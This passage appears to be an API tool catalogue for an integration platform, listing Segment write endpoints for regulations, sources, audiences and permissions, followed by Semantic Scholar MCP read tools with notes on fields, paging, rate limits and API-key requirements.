POST /api/v1/segment/regulations. Scopes: api. segment_post_regulations_cloudsources_by_sourceid (write) — Create Cloud Source Regulation. Creates a Source-scoped regulation. Please Note: Suppression rules at the Workspace level take precedence over those at the Source level. If a user has been suppressed at the Workspace level, any attempt to un-suppress at the Source level is not supported and the processing of the request will fail in Segment Config API omitted fields: - `attributes`, - `userAgent` Rate limit headers will be updated to reflect regulation-specific limits (tracked separately for Segment-only vs Segment & Destination regulation types): - X-RateLimit-Remaining: Remaining requests for the regulation type category - Segment-only Regulations: DELETE_INTERNAL, SUPPRESS_WITH_DELETE_INTERNAL, SUPPRESS_ONLY, UNSUPPRESS, DELETE_ARCHIVE_ONLY - Segment & Destination Regulations: DELETE_ONLY, SUPPRESS_WITH_DELETE - X-RateLimit-Reset: RFC 5322 timestamp for when the quota resets (for example, Tue, 31 Dec 2024 23:59:59 GMT) The rate limit for this endpoint is 600 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/regulations/cloudsources/{sourceId}. Scopes: api. segment_post_regulations_sources_by_sourceid (write) — Create Source Regulation. Creates a Source-scoped regulation. Please Note: Suppression rules at the Workspace level take precedence over those at the Source level. If a user has been suppressed at the Workspace level, any attempt to un-suppress at the Source level is not supported and the processing of the request will fail in Segment Config API omitted fields: - `attributes`, - `userAgent` Rate limit headers will be updated to reflect regulation-specific limits (tracked separately for Segment-only vs Segment & Destination regulation types): - X-RateLimit-Remaining: Remaining requests for the regulation type category - Segment-only Regulations: DELETE_INTERNAL, SUPPRESS_WITH_DELETE_INTERNAL, SUPPRESS_ONLY, UNSUPPRESS, DELETE_ARCHIVE_ONLY - Segment & Destination Regulations: DELETE_ONLY, SUPPRESS_WITH_DELETE - X-RateLimit-Reset: RFC 5322 timestamp for when the quota resets (for example, Tue, 31 Dec 2024 23:59:59 GMT) The rate limit for this endpoint is 600 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/regulations/sources/{sourceId}. Scopes: api. segment_post_reverse_etl_models (write) — Create Reverse Etl Model. Creates a new Reverse ETL Model. • When called, this endpoint may generate the `Model Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/reverse-etl-models. Scopes: api. segment_post_reverse_etl_models_by_modelid_syncs_by_syncid_cancel (write) — Cancel Reverse ETL Sync for Model. Cancels a sync for a Reverse ETL Connection. It might take a few seconds to completely cancel the sync. Will return an error if the sync is already completed or cancelled. POST /api/v1/segment/reverse-etl-models/{modelId}/syncs/{syncId}/cancel. Scopes: api. segment_post_reverse_etl_syncs (write) — Create Reverse ETL Manual Sync. Triggers a manual sync for a Reverse ETL Connection. In the request body, the `subscription id` is the id that follows after `/mappings/` portion in the URL of the sync. For example, the `subscription id` would be `2` for this sync: https://app.Segment.com/example-workspace/reverse-etl/destinations/example-destination/sources/example-source/instances/1/mappings/2/source-id/3/model-id/4/sync-details The rate limit for this endpoint is 20 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/reverse-etl-syncs. Scopes: api. segment_post_sources (write) — Create Source. Creates a new Source. • When called, this endpoint may generate the `Source Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/sources. Scopes: api. segment_post_sources_by_sourceid_labels (write) — Add Labels to Source. Adds an existing label to a Source. • When called, this endpoint may generate the `Source Modified` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/sources/{sourceId}/labels. Scopes: api. segment_post_sources_by_sourceid_live_plugins_create (write) — Create Live Plugin. Creates or updates a Live Plugin for your Source with given code. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Live Plugins feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/sources/{sourceId}/live-plugins/create. Scopes: api. segment_post_sources_by_sourceid_writekey (write) — Create Write Key for Source. Creates a new Write Key for the Source. • When called, this endpoint may generate the `Source Modified` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/sources/{sourceId}/writekey. Scopes: api. segment_post_spaces_by_spaceid_activations_batch (write) — Batch Query Activations for Space. Lists Activations in bulk across many Audiences in one call. Intended for bulk reads, for example pulling activation metadata for hundreds of audiences on a schedule, so callers don't need one `listActivationsFromAudience` call per audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/spaces/{spaceId}/activations/batch. Scopes: api. segment_post_spaces_by_spaceid_audiences (write) — Create Audience. Creates Audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Audience Created` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/spaces/{spaceId}/audiences. Scopes: api. segment_post_spaces_by_spaceid_audiences_by_audienceid_destination_connections (write) — Add Destination to Audience. Establishes a connection between an audience and a Destination. To start syncing data, you must create an Activation for the connection created here. Note that the Destination must be added to Engage through the Engage Settings page within the App before creating the connection through the API. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/destination-connections. Scopes: api. segment_post_spaces_by_spaceid_audiences_by_audienceid_destination_connections_by_connectionid_activations (write) — Add Activation to Audience. Defines how audience data is sent to a Destination. This step enables the data sync. You must establish a connection (Add Destination to Audience) for this audience before an Activation can be created. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/destination-connections/{connectionId}/activations. Scopes: api. segment_post_spaces_by_spaceid_audiences_by_audienceid_runs (write) — Force Execute Audience Run. The ability to force execute a run for an Audience is limited to Linked Audiences (audienceType = `LINKED`). • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Audience Run Forced` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/runs. Scopes: api. segment_post_spaces_by_spaceid_audiences_by_id_schedules (write) — Add Audience Schedule to Audience. The ability to configure the run schedule for an Audience is limited to Linked Audiences (audienceType = LINKED). Note that if a Linked Audience remains disabled for 90 days Segment will delete the associated schedule and a new schedule will need to be created. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/spaces/{spaceId}/audiences/{id}/schedules. Scopes: api. segment_post_spaces_by_spaceid_audiences_previews (write) — Create Audience Preview. Previews Audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Audience Preview Created` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 5 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. This endpoint also has a rate limit of 700 requests per month per spaceId, which is lower than the default due to access pattern restrictions. POST /api/v1/segment/spaces/{spaceId}/audiences/previews. Scopes: api. segment_post_spaces_by_spaceid_computed_traits (write) — Create Computed Trait. Creates a Computed Trait • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Computed Trait feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Computed Trait Created` event in the [audit trail](/tag/Audit-Trail). Note: The definition for a Computed Trait created using the API is not editable through the Segment App. The rate limit for this endpoint is 10 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/spaces/{spaceId}/computed-traits. Scopes: api. segment_post_spaces_by_spaceid_messaging_subscriptions_batch (write) — Batch Query Messaging Subscriptions for Space. <div style="background-color: #fff3cd; border: 1px solid #ffc107; border-radius: 6px; padding: 16px; margin: 16px 0; color: #856404; display: flex; align-items: center; gap: 12px; line-height: 1.5;"> <span style="color: #ff9800; font-size: 16px; flex-shrink: 0;">⚠️</span> <div style="line-height: 1.5;"> <div style="font-weight: 600; font-size: 14px; margin-bottom: 6px;"> Engage Premier features will no longer be available after December 15, 2025. </div> <div style="font-size: 13px;"> This API will be deactivated after this date. </div> </div> </div> Get Messaging Subscriptions for space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Spaces feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/spaces/{spaceId}/messaging-subscriptions/batch. Scopes: api. segment_post_spaces_by_spaceid_profiles_warehouses (write) — Create Profiles Warehouse. Creates a new Profiles Warehouse. • When called, this endpoint may generate the `Profiles Sync Warehouse Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/spaces/{spaceId}/profiles-warehouses. Scopes: api. segment_post_tracking_plans (write) — Create Tracking Plan. Creates a Tracking Plan. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/tracking-plans. Scopes: api. segment_post_tracking_plans_by_trackingplanid_sources (write) — Add Source to Tracking Plan. Connects a Source to a Tracking Plan. • When called, this endpoint may generate the `Source Modified` event in the [audit trail](/tag/Audit-Trail). • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/tracking-plans/{trackingPlanId}/sources. Scopes: api. segment_post_transformations (write) — Create Transformation. Creates a new Transformation. • When called, this endpoint may generate the `Transformation Created` event in the [audit trail](/tag/Audit-Trail). • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/transformations. Scopes: api. segment_post_users_by_userid_permissions (write) — Add Permissions to User. Adds a list of access permissions to a user. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Policy Created * User Policy Updated The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/users/{userId}/permissions. Scopes: api. segment_post_warehouses (write) — Create Warehouse. Creates a new Warehouse. • When called, this endpoint may generate the `Storage Destination Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/warehouses. Scopes: api. segment_post_warehouses_by_warehouseid_connected_sources_by_sourceid (write) — Add Connection from Source to Warehouse. Connects a Source to a Warehouse. • When called, this endpoint may generate the `Storage Destination Modified` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/warehouses/{warehouseId}/connected-sources/{sourceId}. Scopes: api. segment_post_warehouses_validation (write) — Create Validation in Warehouse. Validates input settings against a Warehouse. • When called, this endpoint may generate the `Storage Destination Settings Validation` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/warehouses/validation. Scopes: api. segment_put_group_by_usergroupid_users (write) — Replace Users in User Group. Replaces the members of a user group by email. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Subjects Added to Group * User Added To User Group * Group Memberships Deleted The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PUT /api/v1/segment/group/{userGroupId}/users. Scopes: api. segment_put_groups_by_usergroupid_permissions (write) — Replace Permissions for User Group. Updates the list of access permissions for a user group. • When called, this endpoint may generate the `Policy Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PUT /api/v1/segment/groups/{userGroupId}/permissions. Scopes: api. segment_put_sources_by_sourceid_labels (write) — Replace Labels in Source. Replaces all labels in a Source. PUT /api/v1/segment/sources/{sourceId}/labels. Scopes: api. segment_put_spaces_by_spaceid_messaging_subscriptions (write) — Replace Messaging Subscriptions in Spaces. <div style="background-color: #fff3cd; border: 1px solid #ffc107; border-radius: 6px; padding: 16px; margin: 16px 0; color: #856404; display: flex; align-items: center; gap: 12px; line-height: 1.5;"> <span style="color: #ff9800; font-size: 16px; flex-shrink: 0;">⚠️</span> <div style="line-height: 1.5;"> <div style="font-weight: 600; font-size: 14px; margin-bottom: 6px;"> Engage Premier features will no longer be available after December 15, 2025. </div> <div style="font-size: 13px;"> This API will be deactivated after this date. </div> </div> </div> Replace Messaging Subscriptions in Spaces. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Spaces feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PUT /api/v1/segment/spaces/{spaceId}/messaging-subscriptions. Scopes: api. segment_put_tracking_plans_by_trackingplanid_rules (write) — Replace Rules in Tracking Plan. Replaces Tracking Plan rules. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. PUT /api/v1/segment/tracking-plans/{trackingPlanId}/rules. Scopes: api. segment_put_users_by_userid_permissions (write) — Replace Permissions for User. Updates the list of access permissions for a user. • When called, this endpoint may generate the `Policy Deleted` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PUT /api/v1/segment/users/{userId}/permissions. Scopes: api. segment_put_warehouses_by_warehouseid_advanced_sync_schedule (write) — Replace Advanced Sync Schedule for Warehouse. Updates the advanced sync schedule for a Warehouse, replacing the sync schedule with a new schedule. The rate limit for this endpoint is 2 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PUT /api/v1/segment/warehouses/{warehouseId}/advanced-sync-schedule. Scopes: api. ================================================================================ ## Semantic Scholar URL: https://www.agenticfabriq.com/integrations/semanticscholar Section: Integrated Tools Semantic Scholar — 20 MCP tools Provider key: semanticscholar. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. semanticscholar_get_author_by_author_id (read) — Get an author via GET /graph/v1/author/{author_id}. Fetch one author by their Semantic Scholar author id and return exactly the fields asked for, including nested `papers.*` fields. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/author/{author_id}. Scopes: api. semanticscholar_get_author_by_author_id_papers (read) — List an author's papers via GET /graph/v1/author/{author_id}/papers. Page through the papers of one author. Only the most recent 10,000 citations or references are reachable through the nested fields here; for the full set of a paper's citations use the citations tool. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging: pass `offset` and `limit` and read `next` from the response, stopping when it is absent -- never on a short page. `total` is present on the searches only. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/author/{author_id}/papers. Scopes: api. semanticscholar_get_author_search (read) — Search authors by name via GET /graph/v1/author/search. Search authors by name and get a page of matches, each with any author field asked for. Names are matched as plain text with no query syntax, and a hyphenated term yields no matches. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging: pass `offset` and `limit` and read `next` from the response, stopping when it is absent -- never on a short page. `total` is present on the searches only. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/author/search. Scopes: api. semanticscholar_get_diffs_by_start_release_id_to_by_end_release_id_by_dataset_name (read) — Get incremental diff links for a dataset via GET /datasets/v1/diffs/{start_release_id}/to/{end_release_id}/{dataset_name}. Get the sequence of incremental diffs that brings a dataset from a release you already hold up to a newer one, so an existing copy can be updated without downloading it again. Each diff carries an `update_files` list (insert or replace by primary key) and a `delete_files` list (remove). Pass `latest` as the end release for the most recent one. THIS TOOL NEEDS THE CONNECTION'S API KEY, and it is one of only two that do: measured 2026-09-22 it answers 401 {"error":"A valid API key is required"} without one, where the other eighteen answer 200. A 401 here means the connection holds no key (or none reached the request); a 403 means the key it holds was not recognised. Neither is a rate limit. THIS RETURNS LINKS, NOT DATA. The answer is a list of pre-signed S3 URLs for archive files that are frequently multiple gigabytes each; Agentic Fabriq does not fetch them and this tool transfers no file. The URLs are time-limited -- fetch them promptly, and re-request this tool rather than storing them. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/datasets/v1/diffs/{start_release_id}/to/{end_release_id}/{dataset_name}. Scopes: api. semanticscholar_get_paper_autocomplete (read) — Suggest paper query completions via GET /graph/v1/paper/autocomplete. Return minimal records (paper id, title, authors, year) for papers matching a PARTIAL query, for interactive query completion. The query is truncated to its first 100 characters. It is not a search: use the relevance search when the caller wants results rather than completions. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/autocomplete. Scopes: api. semanticscholar_get_paper_by_paper_id (read) — Get a paper via GET /graph/v1/paper/{paper_id}. Fetch one paper by any supported identifier and return exactly the fields asked for, including nested ones such as `authors.affiliations` or `citations.title`. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/{paper_id}. Scopes: api. semanticscholar_get_paper_by_paper_id_authors (read) — List a paper's authors via GET /graph/v1/paper/{paper_id}/authors. Page through the authors of one paper, with any author field the caller asks for (affiliations, hIndex, their own papers). ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging: pass `offset` and `limit` and read `next` from the response, stopping when it is absent -- never on a short page. `total` is present on the searches only. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/{paper_id}/authors. Scopes: api. semanticscholar_get_paper_by_paper_id_citations (read) — List a paper's citations via GET /graph/v1/paper/{paper_id}/citations. Page through the papers that CITE this one -- papers in whose bibliography it appears. Each row carries a `citingPaper` plus the citation's own `contexts`, `intents` and `isInfluential` when asked for. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging: pass `offset` and `limit` and read `next` from the response, stopping when it is absent -- never on a short page. `total` is present on the searches only. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/{paper_id}/citations. Scopes: api. semanticscholar_get_paper_by_paper_id_references (read) — List a paper's references via GET /graph/v1/paper/{paper_id}/references. Page through the papers this one CITES -- the entries in its bibliography. Each row carries a `citedPaper` plus the citation's own `contexts`, `intents` and `isInfluential` when asked for. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging: pass `offset` and `limit` and read `next` from the response, stopping when it is absent -- never on a short page. `total` is present on the searches only. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/{paper_id}/references. Scopes: api. semanticscholar_get_paper_search (read) — Search papers by relevance via GET /graph/v1/paper/search. Search Semantic Scholar's corpus of ~200 million papers by relevance and get a page of matches. `query` is plain text with NO query syntax -- a hyphenated term yields no matches, so replace hyphens with spaces. Narrow with `year`, `venue`, `fieldsOfStudy`, `publicationTypes`, `minCitationCount` or `openAccessPdf`. Use this when the caller wants the best matches for a topic; use the bulk search when they want every match, and the title match when they already know the title. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging: pass `offset` and `limit` and read `next` from the response, stopping when it is absent -- never on a short page. `total` is present on the searches only. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/search. Scopes: api. semanticscholar_get_paper_search_bulk (read) — Search papers in bulk via GET /graph/v1/paper/search/bulk. Retrieve up to 1,000 papers per call without relevance ranking, continuing with the `token` the previous call returned until no token comes back -- up to 10,000,000 papers in total. Unlike the relevance search, `query` here DOES support boolean syntax: `+` AND, `|` OR, `-` NOT, `"..."` phrase, `*` prefix, `(...)` grouping and `~N` fuzzy/proximity. Nested paper data (citations, references) is not available through this route; for a larger job than this, use the bulk datasets. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Paging here is a CONTINUATION TOKEN, not an offset: repeat the identical query with the `token` from the previous response until the response carries none. Up to 1,000 papers per call and 10,000,000 in total. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/search/bulk. Scopes: api. semanticscholar_get_paper_search_match (read) — Match a paper by title via GET /graph/v1/paper/search/match. Return the SINGLE paper whose title most closely matches the query, with a `matchScore`. Use it to resolve a citation string or a title a user typed into a paper id. A query that matches nothing answers 404 with 'Title match not found' -- that is a miss, not a failure. A miss is HTTP 404 with 'Title match not found', not an empty result: that is the answer 'no paper has a title close to this', not a broken call. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/paper/search/match. Scopes: api. semanticscholar_get_papers_forpaper_by_paper_id (read) — Recommend papers like one paper via GET /recommendations/v1/papers/forpaper/{paper_id}. Recommend papers similar to ONE paper. `from` chooses the pool: `recent` (the default -- recent papers across all fields) or `all-cs` (the whole computer-science corpus). ASK FOR WHAT YOU NEED: without `fields` the answer is 